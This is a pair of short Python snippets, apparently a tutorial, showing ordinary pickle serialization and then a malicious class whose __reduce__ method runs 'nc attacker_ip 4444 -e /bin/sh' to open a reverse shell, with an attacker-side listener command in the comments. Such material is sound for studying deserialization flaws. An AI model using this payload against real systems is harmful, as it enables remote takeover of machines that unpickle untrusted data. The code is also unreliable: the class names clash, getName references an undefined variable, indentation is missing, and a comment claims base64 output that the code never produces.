import pickle
class user:
def __init__ (self,name):
self.name = name
def getName(self):
return name
roger=User('Roger Federer')
serialized=pickle.dumps(roger)
federer=pickle.loads(serialized)
#pickle.dumps(obj): returns a byte stream of the object
#pickle.loads(ser): restores the objects from byte stream
import pickle
import base64
class User:
def __reduce__(self):
import os
return (os.system,('nc attacker_ip 4444 -e /bin/sh',))
def __init__ (self,name):
self.name = name
def getName(self):
return name
alex=User('alex')
serialized=pickle.dumps(alex)
encoded=pickle.loads(serialized)
print(encoded)
#This script will print a base64 encoded object
#The object will return a reverse shell to the attacker ip
#On the attacker machine we shoud be listening on port 4444
#nc -nlvp 4444